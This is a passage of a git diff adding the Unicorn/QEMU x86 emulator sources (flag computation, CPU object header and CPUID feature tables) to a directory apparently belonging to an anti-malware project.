glue(compute_all_add, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + DATA_TYPE src2 = dst - src1; + + cf = dst < src1; + pf = parity_table[(uint8_t)dst]; + af = (dst ^ src1 ^ src2) & CC_A; + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = lshift((src1 ^ src2 ^ -1) & (src1 ^ dst), 12 - DATA_BITS) & CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_c_add, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + return dst < src1; +} + +static int glue(compute_all_adc, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1, + DATA_TYPE src3) +{ + int cf, pf, af, zf, sf, of; + DATA_TYPE src2 = dst - src1 - src3; + + cf = (src3 ? dst <= src1 : dst < src1); + pf = parity_table[(uint8_t)dst]; + af = (dst ^ src1 ^ src2) & 0x10; + zf = (dst == 0) << 6; + sf = lshift(dst, 8 - DATA_BITS) & 0x80; + of = lshift((src1 ^ src2 ^ -1) & (src1 ^ dst), 12 - DATA_BITS) & CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_c_adc, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1, + DATA_TYPE src3) +{ + return src3 ? dst <= src1 : dst < src1; +} + +static int glue(compute_all_sub, SUFFIX)(DATA_TYPE dst, DATA_TYPE src2) +{ + int cf, pf, af, zf, sf, of; + DATA_TYPE src1 = dst + src2; + + cf = src1 < src2; + pf = parity_table[(uint8_t)dst]; + af = (dst ^ src1 ^ src2) & CC_A; + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = lshift((src1 ^ src2) & (src1 ^ dst), 12 - DATA_BITS) & CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_c_sub, SUFFIX)(DATA_TYPE dst, DATA_TYPE src2) +{ + DATA_TYPE src1 = dst + src2; + + return src1 < src2; +} + +static int glue(compute_all_sbb, SUFFIX)(DATA_TYPE dst, DATA_TYPE src2, + DATA_TYPE src3) +{ + int cf, pf, af, zf, sf, of; + DATA_TYPE src1 = dst + src2 + src3; + + cf = (src3 ? src1 <= src2 : src1 < src2); + pf = parity_table[(uint8_t)dst]; + af = (dst ^ src1 ^ src2) & 0x10; + zf = (dst == 0) << 6; + sf = lshift(dst, 8 - DATA_BITS) & 0x80; + of = lshift((src1 ^ src2) & (src1 ^ dst), 12 - DATA_BITS) & CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_c_sbb, SUFFIX)(DATA_TYPE dst, DATA_TYPE src2, + DATA_TYPE src3) +{ + DATA_TYPE src1 = dst + src2 + src3; + + return (src3 ? src1 <= src2 : src1 < src2); +} + +static int glue(compute_all_logic, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + + cf = 0; + pf = parity_table[(uint8_t)dst]; + af = 0; + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = 0; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_all_inc, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + DATA_TYPE src2; + + cf = (int)src1; + src1 = dst - 1; + src2 = 1; + pf = parity_table[(uint8_t)dst]; + af = (dst ^ src1 ^ src2) & CC_A; + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = (dst == SIGN_MASK) * CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_all_dec, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + DATA_TYPE src2; + + cf = (int)src1; + src1 = dst + 1; + src2 = 1; + pf = parity_table[(uint8_t)dst]; + af = (dst ^ src1 ^ src2) & CC_A; + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = (dst == SIGN_MASK - 1) * CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_all_shl, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + + cf = (src1 >> (DATA_BITS - 1)) & CC_C; + pf = parity_table[(uint8_t)dst]; + af = 0; /* undefined */ + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + /* of is defined iff shift count == 1 */ + of = lshift(src1 ^ dst, 12 - DATA_BITS) & CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_c_shl, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + return (src1 >> (DATA_BITS - 1)) & CC_C; +} + +static int glue(compute_all_sar, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + + cf = src1 & 1; + pf = parity_table[(uint8_t)dst]; + af = 0; /* undefined */ + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + /* of is defined iff shift count == 1 */ + of = lshift(src1 ^ dst, 12 - DATA_BITS) & CC_O; + return cf | pf | af | zf | sf | of; +} + +/* NOTE: we compute the flags like the P4. On olders CPUs, only OF and + CF are modified and it is slower to do that. Note as well that we + don't truncate SRC1 for computing carry to DATA_TYPE. */ +static int glue(compute_all_mul, SUFFIX)(DATA_TYPE dst, target_long src1) +{ + int cf, pf, af, zf, sf, of; + + cf = (src1 != 0); + pf = parity_table[(uint8_t)dst]; + af = 0; /* undefined */ + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = cf * CC_O; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_all_bmilg, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + int cf, pf, af, zf, sf, of; + + cf = (src1 == 0); + pf = 0; /* undefined */ + af = 0; /* undefined */ + zf = (dst == 0) * CC_Z; + sf = lshift(dst, 8 - DATA_BITS) & CC_S; + of = 0; + return cf | pf | af | zf | sf | of; +} + +static int glue(compute_c_bmilg, SUFFIX)(DATA_TYPE dst, DATA_TYPE src1) +{ + return src1 == 0; +} + +#undef DATA_BITS +#undef SIGN_MASK +#undef DATA_TYPE +#undef DATA_MASK +#undef SUFFIX diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu-qom.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu-qom.h new file mode 100644 index 0000000..5d19fc4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu-qom.h @@ -0,0 +1,157 @@ +/* + * QEMU x86 CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ +#ifndef QEMU_I386_CPU_QOM_H +#define QEMU_I386_CPU_QOM_H + +#include "qom/cpu.h" +#include "cpu.h" +#include "qapi/error.h" + +#ifdef TARGET_X86_64 +#define TYPE_X86_CPU "x86_64-cpu" +#else +#define TYPE_X86_CPU "i386-cpu" +#endif + +#define X86_CPU_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, X86CPUClass, (klass), TYPE_X86_CPU) +#define X86_CPU(uc, obj) ((X86CPU *)obj) +#define X86_CPU_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, X86CPUClass, (obj), TYPE_X86_CPU) + +/** + * X86CPUDefinition: + * + * CPU model definition data that was not converted to QOM per-subclass + * property defaults yet. + */ +typedef struct X86CPUDefinition X86CPUDefinition; + +/** + * X86CPUClass: + * @cpu_def: CPU model definition + * @kvm_required: Whether CPU model requires KVM to be enabled. + * @parent_realize: The parent class' realize handler. + * @parent_reset: The parent class' reset handler. + * + * An x86 CPU model or family. + */ +typedef struct X86CPUClass { + /*< private >*/ + CPUClass parent_class; + /*< public >*/ + + /* Should be eventually replaced by subclass-specific property defaults. */ + X86CPUDefinition *cpu_def; + + bool kvm_required; + + DeviceRealize parent_realize; + void (*parent_reset)(CPUState *cpu); +} X86CPUClass; + +/** + * X86CPU: + * @env: #CPUX86State + * @migratable: If set, only migratable flags will be accepted when "enforce" + * mode is used, and only migratable flags will be included in the "host" + * CPU model. + * + * An x86 CPU. + */ +typedef struct X86CPU { + /*< private >*/ + CPUState parent_obj; + /*< public >*/ + + CPUX86State env; + + bool hyperv_vapic; + bool hyperv_relaxed_timing; + int hyperv_spinlock_attempts; + bool hyperv_time; + bool check_cpuid; + bool enforce_cpuid; + bool expose_kvm; + bool migratable; + bool host_features; + + /* if true the CPUID code directly forward host cache leaves to the guest */ + bool cache_info_passthrough; + + /* Features that were filtered out because of missing host capabilities */ + uint32_t filtered_features[FEATURE_WORDS]; + + /* Enable PMU CPUID bits. This can't be enabled by default yet because + * it doesn't have ABI stability guarantees, as it passes all PMU CPUID + * bits returned by GET_SUPPORTED_CPUID (that depend on host CPU and kernel + * capabilities) directly to the guest. + */ + bool enable_pmu; + + /* in order to simplify APIC support, we leave this pointer to the + user */ + struct DeviceState *apic_state; +} X86CPU; + +static inline X86CPU *x86_env_get_cpu(CPUX86State *env) +{ + return container_of(env, X86CPU, env); +} + +#define ENV_GET_CPU(e) CPU(x86_env_get_cpu(e)) + +#define ENV_OFFSET offsetof(X86CPU, env) + +#ifndef CONFIG_USER_ONLY +extern struct VMStateDescription vmstate_x86_cpu; +#endif + +/** + * x86_cpu_do_interrupt: + * @cpu: vCPU the interrupt is to be handled by. + */ +void x86_cpu_do_interrupt(CPUState *cpu); +bool x86_cpu_exec_interrupt(CPUState *cpu, int int_req); + +int x86_cpu_write_elf64_note(WriteCoreDumpFunction f, CPUState *cpu, + int cpuid, void *opaque); +int x86_cpu_write_elf32_note(WriteCoreDumpFunction f, CPUState *cpu, + int cpuid, void *opaque); +int x86_cpu_write_elf64_qemunote(WriteCoreDumpFunction f, CPUState *cpu, + void *opaque); +int x86_cpu_write_elf32_qemunote(WriteCoreDumpFunction f, CPUState *cpu, + void *opaque); + +void x86_cpu_get_memory_mapping(CPUState *cpu, MemoryMappingList *list, + Error **errp); + +void x86_cpu_dump_state(CPUState *cs, FILE *f, fprintf_function cpu_fprintf, + int flags); + +hwaddr x86_cpu_get_phys_page_debug(CPUState *cpu, vaddr addr); + +int x86_cpu_gdb_read_register(CPUState *cpu, uint8_t *buf, int reg); +int x86_cpu_gdb_write_register(CPUState *cpu, uint8_t *buf, int reg); + +void x86_cpu_exec_enter(CPUState *cpu); +void x86_cpu_exec_exit(CPUState *cpu); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.c new file mode 100644 index 0000000..7f574a3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.c @@ -0,0 +1,2633 @@ +/* + * i386 CPUID helper functions + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include +#include +#include +#include "unicorn/platform.h" + +#include "cpu.h" +#include "sysemu/cpus.h" +#include "topology.h" + +#include "qapi/qmp/qerror.h" + +#include "qapi-types.h" +#include "qapi-visit.h" +#include "qapi/visitor.h" + +#include "hw/hw.h" + +#include "sysemu/sysemu.h" +#include "hw/cpu/icc_bus.h" +#ifndef CONFIG_USER_ONLY +#include "hw/i386/apic_internal.h" +#endif + +/* Cache topology CPUID constants: */ + +/* CPUID Leaf 2 Descriptors */ + +#define CPUID_2_L1D_32KB_8WAY_64B 0x2c +#define CPUID_2_L1I_32KB_8WAY_64B 0x30 +#define CPUID_2_L2_2MB_8WAY_64B 0x7d + + +/* CPUID Leaf 4 constants: */ + +/* EAX: */ +#define CPUID_4_TYPE_DCACHE 1 +#define CPUID_4_TYPE_ICACHE 2 +#define CPUID_4_TYPE_UNIFIED 3 + +#define CPUID_4_LEVEL(l) ((l) << 5) + +#define CPUID_4_SELF_INIT_LEVEL (1 << 8) +#define CPUID_4_FULLY_ASSOC (1 << 9) + +/* EDX: */ +#define CPUID_4_NO_INVD_SHARING (1 << 0) +#define CPUID_4_INCLUSIVE (1 << 1) +#define CPUID_4_COMPLEX_IDX (1 << 2) + +#define ASSOC_FULL 0xFF + +/* AMD associativity encoding used on CPUID Leaf 0x80000006: */ +#define AMD_ENC_ASSOC(a) (a <= 1 ? a : \ + a == 2 ? 0x2 : \ + a == 4 ? 0x4 : \ + a == 8 ? 0x6 : \ + a == 16 ? 0x8 : \ + a == 32 ? 0xA : \ + a == 48 ? 0xB : \ + a == 64 ? 0xC : \ + a == 96 ? 0xD : \ + a == 128 ? 0xE : \ + a == ASSOC_FULL ? 0xF : \ + 0 /* invalid value */) + + +/* Definitions of the hardcoded cache entries we expose: */ + +/* L1 data cache: */ +#define L1D_LINE_SIZE 64 +#define L1D_ASSOCIATIVITY 8 +#define L1D_SETS 64 +#define L1D_PARTITIONS 1 +/* Size = LINE_SIZE*ASSOCIATIVITY*SETS*PARTITIONS = 32KiB */ +#define L1D_DESCRIPTOR CPUID_2_L1D_32KB_8WAY_64B +/*FIXME: CPUID leaf 0x80000005 is inconsistent with leaves 2 & 4 */ +#define L1D_LINES_PER_TAG 1 +#define L1D_SIZE_KB_AMD 64 +#define L1D_ASSOCIATIVITY_AMD 2 + +/* L1 instruction cache: */ +#define L1I_LINE_SIZE 64 +#define L1I_ASSOCIATIVITY 8 +#define L1I_SETS 64 +#define L1I_PARTITIONS 1 +/* Size = LINE_SIZE*ASSOCIATIVITY*SETS*PARTITIONS = 32KiB */ +#define L1I_DESCRIPTOR CPUID_2_L1I_32KB_8WAY_64B +/*FIXME: CPUID leaf 0x80000005 is inconsistent with leaves 2 & 4 */ +#define L1I_LINES_PER_TAG 1 +#define L1I_SIZE_KB_AMD 64 +#define L1I_ASSOCIATIVITY_AMD 2 + +/* Level 2 unified cache: */ +#define L2_LINE_SIZE 64 +#define L2_ASSOCIATIVITY 16 +#define L2_SETS 4096 +#define L2_PARTITIONS 1 +/* Size = LINE_SIZE*ASSOCIATIVITY*SETS*PARTITIONS = 4MiB */ +/*FIXME: CPUID leaf 2 descriptor is inconsistent with CPUID leaf 4 */ +#define L2_DESCRIPTOR CPUID_2_L2_2MB_8WAY_64B +/*FIXME: CPUID leaf 0x80000006 is inconsistent with leaves 2 & 4 */ +#define L2_LINES_PER_TAG 1 +#define L2_SIZE_KB_AMD 512 + +/* No L3 cache: */ +#define L3_SIZE_KB 0 /* disabled */ +#define L3_ASSOCIATIVITY 0 /* disabled */ +#define L3_LINES_PER_TAG 0 /* disabled */ +#define L3_LINE_SIZE 0 /* disabled */ + +/* TLB definitions: */ + +#define L1_DTLB_2M_ASSOC 1 +#define L1_DTLB_2M_ENTRIES 255 +#define L1_DTLB_4K_ASSOC 1 +#define L1_DTLB_4K_ENTRIES 255 + +#define L1_ITLB_2M_ASSOC 1 +#define L1_ITLB_2M_ENTRIES 255 +#define L1_ITLB_4K_ASSOC 1 +#define L1_ITLB_4K_ENTRIES 255 + +#define L2_DTLB_2M_ASSOC 0 /* disabled */ +#define L2_DTLB_2M_ENTRIES 0 /* disabled */ +#define L2_DTLB_4K_ASSOC 4 +#define L2_DTLB_4K_ENTRIES 512 + +#define L2_ITLB_2M_ASSOC 0 /* disabled */ +#define L2_ITLB_2M_ENTRIES 0 /* disabled */ +#define L2_ITLB_4K_ASSOC 4 +#define L2_ITLB_4K_ENTRIES 512 + +void x86_cpu_register_types(void *); + +static void x86_cpu_vendor_words2str(char *dst, uint32_t vendor1, + uint32_t vendor2, uint32_t vendor3) +{ + int i; + for (i = 0; i < 4; i++) { + dst[i] = vendor1 >> (8 * i); + dst[i + 4] = vendor2 >> (8 * i); + dst[i + 8] = vendor3 >> (8 * i); + } + dst[CPUID_VENDOR_SZ] = '\0'; +} + +/* feature flags taken from "Intel Processor Identification and the CPUID + * Instruction" and AMD's "CPUID Specification". In cases of disagreement + * between feature naming conventions, aliases may be added. + */ +static const char *feature_name[] = { + "fpu", "vme", "de", "pse", + "tsc", "msr", "pae", "mce", + "cx8", "apic", NULL, "sep", + "mtrr", "pge", "mca", "cmov", + "pat", "pse36", "pn" /* Intel psn */, "clflush" /* Intel clfsh */, + NULL, "ds" /* Intel dts */, "acpi", "mmx", + "fxsr", "sse", "sse2", "ss", + "ht" /* Intel htt */, "tm", "ia64", "pbe", +}; +static const char *ext_feature_name[] = { + "pni|sse3" /* Intel,AMD sse3 */, "pclmulqdq|pclmuldq", "dtes64", "monitor", + "ds_cpl", "vmx", "smx", "est", + "tm2", "ssse3", "cid", NULL, + "fma", "cx16", "xtpr", "pdcm", + NULL, "pcid", "dca", "sse4.1|sse4_1", + "sse4.2|sse4_2", "x2apic", "movbe", "popcnt", + "tsc-deadline", "aes", "xsave", "osxsave", + "avx", "f16c", "rdrand", "hypervisor", +}; +/* Feature names that are already defined on feature_name[] but are set on + * CPUID[8000_0001].EDX on AMD CPUs don't have their names on + * ext2_feature_name[]. They are copied automatically to cpuid_ext2_features + * if and only if CPU vendor is AMD. + */ +static const char *ext2_feature_name[] = { + NULL /* fpu */, NULL /* vme */, NULL /* de */, NULL /* pse */, + NULL /* tsc */, NULL /* msr */, NULL /* pae */, NULL /* mce */, + NULL /* cx8 */ /* AMD CMPXCHG8B */, NULL /* apic */, NULL, "syscall", + NULL /* mtrr */, NULL /* pge */, NULL /* mca */, NULL /* cmov */, + NULL /* pat */, NULL /* pse36 */, NULL, NULL /* Linux mp */, + "nx|xd", NULL, "mmxext", NULL /* mmx */, + NULL /* fxsr */, "fxsr_opt|ffxsr", "pdpe1gb" /* AMD Page1GB */, "rdtscp", + NULL, "lm|i64", "3dnowext", "3dnow", +}; +static const char *ext3_feature_name[] = { + "lahf_lm" /* AMD LahfSahf */, "cmp_legacy", "svm", "extapic" /* AMD ExtApicSpace */, + "cr8legacy" /* AMD AltMovCr8 */, "abm", "sse4a", "misalignsse", + "3dnowprefetch", "osvw", "ibs", "xop", + "skinit", "wdt", NULL, "lwp", + "fma4", "tce", NULL, "nodeid_msr", + NULL, "tbm", "topoext", "perfctr_core", + "perfctr_nb", NULL, NULL, NULL, + NULL, NULL, NULL, NULL, +}; + +static const char *ext4_feature_name[] = { + NULL, NULL, "xstore", "xstore-en", + NULL, NULL, "xcrypt", "xcrypt-en", + "ace2", "ace2-en", "phe", "phe-en", + "pmm", "pmm-en", NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, +}; + +static const char *cpuid_7_0_ebx_feature_name[] = { + "fsgsbase", "tsc_adjust", NULL, "bmi1", "hle", "avx2", NULL, "smep", + "bmi2", "erms", "invpcid", "rtm", NULL, NULL, "mpx", NULL, + "avx512f", NULL, "rdseed", "adx", "smap", NULL, NULL, NULL, + NULL, NULL, "avx512pf", "avx512er", "avx512cd", NULL, NULL, NULL, +}; + +static const char *cpuid_apm_edx_feature_name[] = { + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + "invtsc", NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, + NULL, NULL, NULL, NULL, +}; + +#define I486_FEATURES (CPUID_FP87 | CPUID_VME | CPUID_PSE) +#define PENTIUM_FEATURES (I486_FEATURES | CPUID_DE | CPUID_TSC | \ + CPUID_MSR | CPUID_MCE | CPUID_CX8 | CPUID_MMX | CPUID_APIC) +#define PENTIUM2_FEATURES (PENTIUM_FEATURES | CPUID_PAE | CPUID_SEP | \ + CPUID_MTRR | CPUID_PGE | CPUID_MCA | CPUID_CMOV | CPUID_PAT | \ + CPUID_PSE36 | CPUID_FXSR) +#define PENTIUM3_FEATURES (PENTIUM2_FEATURES | CPUID_SSE) +#define PPRO_FEATURES (CPUID_FP87 | CPUID_DE | CPUID_PSE | CPUID_TSC | \ + CPUID_MSR | CPUID_MCE | CPUID_CX8 | CPUID_PGE | CPUID_CMOV | \ + CPUID_PAT | CPUID_FXSR | CPUID_MMX | CPUID_SSE | CPUID_SSE2 | \ + CPUID_PAE | CPUID_SEP | CPUID_APIC) + +#define TCG_FEATURES (CPUID_FP87 | CPUID_PSE | CPUID_TSC | CPUID_MSR | \ + CPUID_PAE | CPUID_MCE | CPUID_CX8 | CPUID_APIC | CPUID_SEP | \ + CPUID_MTRR | CPUID_PGE | CPUID_MCA | CPUID_CMOV | CPUID_PAT | \ + CPUID_PSE36 | CPUID_CLFLUSH | CPUID_ACPI | CPUID_MMX | \ + CPUID_FXSR | CPUID_SSE | CPUID_SSE2 | CPUID_SS) + /* partly implemented: + CPUID_MTRR, CPUID_MCA, CPUID_CLFLUSH (needed for Win64) */ + /* missing: + CPUID_VME, CPUID_DTS, CPUID_SS, CPUID_HT, CPUID_TM, CPUID_PBE */ +#define TCG_EXT_FEATURES (CPUID_EXT_SSE3 | CPUID_EXT_PCLMULQDQ | \ + CPUID_EXT_MONITOR | CPUID_EXT_SSSE3 | CPUID_EXT_CX16 | \ + CPUID_EXT_SSE41 | CPUID_EXT_SSE42 | CPUID_EXT_POPCNT | \ + CPUID_EXT_MOVBE | CPUID_EXT_AES | CPUID_EXT_HYPERVISOR) + /* missing: + CPUID_EXT_DTES64, CPUID_EXT_DSCPL, CPUID_EXT_VMX, CPUID_EXT_SMX, + CPUID_EXT_EST, CPUID_EXT_TM2, CPUID_EXT_CID, CPUID_EXT_FMA, + CPUID_EXT_XTPR, CPUID_EXT_PDCM, CPUID_EXT_PCID, CPUID_EXT_DCA, + CPUID_EXT_X2APIC, CPUID_EXT_TSC_DEADLINE_TIMER, CPUID_EXT_XSAVE, + CPUID_EXT_OSXSAVE, CPUID_EXT_AVX, CPUID_EXT_F16C, + CPUID_EXT_RDRAND */ + +#ifdef TARGET_X86_64 +#define TCG_EXT2_X86_64_FEATURES (CPUID_EXT2_SYSCALL | CPUID_EXT2_LM) +#else +#define TCG_EXT2_X86_64_FEATURES 0 +#endif + +#define TCG_EXT2_FEATURES ((TCG_FEATURES & CPUID_EXT2_AMD_ALIASES) | \ + CPUID_EXT2_NX | CPUID_EXT2_MMXEXT | CPUID_EXT2_RDTSCP | \ + CPUID_EXT2_3DNOW | CPUID_EXT2_3DNOWEXT | CPUID_EXT2_PDPE1GB | \ + TCG_EXT2_X86_64_FEATURES) +#define TCG_EXT3_FEATURES (CPUID_EXT3_LAHF_LM | CPUID_EXT3_SVM | \ + CPUID_EXT3_CR8LEG | CPUID_EXT3_ABM | CPUID_EXT3_SSE4A) +#define TCG_EXT4_FEATURES 0 +#define TCG_SVM_FEATURES 0 +#define TCG_KVM_FEATURES 0 +#define TCG_7_0_EBX_FEATURES (CPUID_7_0_EBX_SMEP | CPUID_7_0_EBX_SMAP | \ + CPUID_7_0_EBX_BMI1 | CPUID_7_0_EBX_BMI2 | CPUID_7_0_EBX_ADX) + /* missing: + CPUID_7_0_EBX_FSGSBASE, CPUID_7_0_EBX_HLE, CPUID_7_0_EBX_AVX2, + CPUID_7_0_EBX_ERMS, CPUID_7_0_EBX_INVPCID, CPUID_7_0_EBX_RTM, + CPUID_7_0_EBX_RDSEED */ +#define TCG_APM_FEATURES 0 + + +typedef struct FeatureWordInfo { + const char **feat_names; + uint32_t cpuid_eax; /* Input EAX for CPUID */ + bool cpuid_needs_ecx; /* CPUID instruction uses ECX as input */ + uint32_t cpuid_ecx; /* Input ECX value for CPUID */ + int cpuid_reg; /* output register (R_* constant) */ + uint32_t tcg_features; /* Feature flags supported by TCG */ + uint32_t unmigratable_flags; /* Feature flags known to be unmigratable */ +} FeatureWordInfo; + +static FeatureWordInfo feature_word_info[FEATURE_WORDS] = { +#ifdef _MSC_VER + // FEAT_1_EDX + { + feature_name, + 1, + false,0, + R_EDX, + TCG_FEATURES, + }, + // FEAT_1_ECX + { + ext_feature_name, + 1, + false,0, + R_ECX, + TCG_EXT_FEATURES, + }, + // FEAT_7_0_EBX + { + cpuid_7_0_ebx_feature_name, + 7, + true, 0, + R_EBX, + TCG_7_0_EBX_FEATURES, + }, + // FEAT_8000_0001_EDX + { + ext2_feature_name, + 0x80000001, + false,0, + R_EDX, + TCG_EXT2_FEATURES, + }, + // FEAT_8000_0001_ECX + { + ext3_feature_name, + 0x80000001, + false,0, + R_ECX, + TCG_EXT3_FEATURES, + }, + // FEAT_8000_0007_EDX + { + cpuid_apm_edx_feature_name, + 0x80000007, + false,0, + R_EDX, + TCG_APM_FEATURES, + CPUID_APM_INVTSC, + }, + // FEAT_C000_0001_EDX + { + ext4_feature_name, + 0xC0000001, + false,0, + R_EDX, + TCG_EXT4_FEATURES, + }, + // FEAT_KVM + {0}, + // FEAT_SVM + {0}, +#else + [FEAT_1_EDX] = { + .feat_names = feature_name, + .cpuid_eax = 1, .cpuid_reg = R_EDX, + .tcg_features = TCG_FEATURES, + }, + [FEAT_1_ECX] = { + .feat_names = ext_feature_name, + .cpuid_eax = 1, .cpuid_reg = R_ECX, + .tcg_features = TCG_EXT_FEATURES, + }, + [FEAT_8000_0001_EDX] = { + .feat_names = ext2_feature_name, + .cpuid_eax = 0x80000001, .cpuid_reg = R_EDX, + .tcg_features = TCG_EXT2_FEATURES, + }, + [FEAT_8000_0001_ECX] = { + .feat_names = ext3_feature_name, + .cpuid_eax = 0x80000001, .cpuid_reg = R_ECX, + .tcg_features = TCG_EXT3_FEATURES, + }, + [FEAT_C000_0001_EDX] = { + .feat_names = ext4_feature_name, + .cpuid_eax = 0xC0000001, .cpuid_reg = R_EDX, + .tcg_features = TCG_EXT4_FEATURES, + }, + [FEAT_7_0_EBX] = { + .feat_names = cpuid_7_0_ebx_feature_name, + .cpuid_eax = 7, + .cpuid_needs_ecx = true, .cpuid_ecx = 0, + .cpuid_reg = R_EBX, + .tcg_features = TCG_7_0_EBX_FEATURES, + }, + [FEAT_8000_0007_EDX] = { + .feat_names = cpuid_apm_edx_feature_name, + .cpuid_eax = 0x80000007, + .cpuid_reg = R_EDX, + .tcg_features = TCG_APM_FEATURES, + .unmigratable_flags = CPUID_APM_INVTSC, + }, +#endif +}; + +typedef struct X86RegisterInfo32 { + /* Name of register */ + const char *name; + /* QAPI enum value register */ + X86CPURegister32 qapi_enum; +} X86RegisterInfo32; + +#define REGISTER(reg) \ + { #reg, X86_CPU_REGISTER32_##reg } +static const X86RegisterInfo32 x86_reg_info_32[CPU_NB_REGS32] = { + REGISTER(EAX), + REGISTER(ECX), + REGISTER(EDX), + REGISTER(EBX), + REGISTER(ESP), + REGISTER(EBP), + REGISTER(ESI), + REGISTER(EDI), +}; +#undef REGISTER + +typedef struct ExtSaveArea { + uint32_t feature, bits; + uint32_t offset, size; +} ExtSaveArea; + +const char *get_register_name_32(unsigned int reg) +{ + if (reg >= CPU_NB_REGS32) { + return NULL; + } + return x86_reg_info_32[reg].name; +} + +#ifdef _MSC_VER +#include +#endif + +void host_cpuid(uint32_t function, uint32_t count, + uint32_t *eax, uint32_t *ebx, uint32_t *ecx, uint32_t *edx) +{ + uint32_t vec[4]; + +#ifdef _MSC_VER + __cpuidex((int*)vec, function, count); +#else +#ifdef __x86_64__ + asm volatile("cpuid" + : "=a"(vec[0]), "=b"(vec[1]), + "=c"(vec[2]), "=d"(vec[3]) + : "0"(function), "c"(count) : "cc"); +#elif defined(__i386__) + asm volatile("pusha \n\t" + "cpuid \n\t" + "mov %%eax, 0(%2) \n\t" + "mov %%ebx, 4(%2) \n\t" + "mov %%ecx, 8(%2) \n\t" + "mov %%edx, 12(%2) \n\t" + "popa" + : : "a"(function), "c"(count), "S"(vec) + : "memory", "cc"); +#else + abort(); +#endif +#endif // _MSC_VER + + if (eax) + *eax = vec[0]; + if (ebx) + *ebx = vec[1]; + if (ecx) + *ecx = vec[2]; + if (edx) + *edx = vec[3]; +} + +#define iswhite(c) ((c) && ((c) <= ' ' || '~' < (c))) + +/* general substring compare of *[s1..e1) and *[s2..e2). sx is start of + * a substring. ex if !NULL points to the first char after a substring, + * otherwise the string is assumed to sized by a terminating nul. + * Return lexical ordering of *s1:*s2. + */ +static int sstrcmp(const char *s1, const char *e1, + const char *s2, const char *e2) +{ + for (;;) { + if (!*s1 || !*s2 || *s1 != *s2) + return (*s1 - *s2); + ++s1, ++s2; + if (s1 == e1 && s2 == e2) + return (0); + else if (s1 == e1) + return (*s2); + else if (s2 == e2) + return (*s1); + } +} + +/* compare *[s..e) to *altstr. *altstr may be a simple string or multiple + * '|' delimited (possibly empty) strings in which case search for a match + * within the alternatives proceeds left to right. Return 0 for success, + * non-zero otherwise. + */ +static int altcmp(const char *s, const char *e, const char *altstr) +{ + const char *p, *q; + + for (q = p = altstr; ; ) { + while (*p && *p != '|') + ++p; + if ((q == p && !*s) || (q != p && !sstrcmp(s, e, q, p))) + return (0); + if (!*p) + return (1); + else + q = ++p; + } +} + +/* search featureset for flag *[s..e), if found set corresponding bit in + * *pval and return true, otherwise return false + */ +static bool 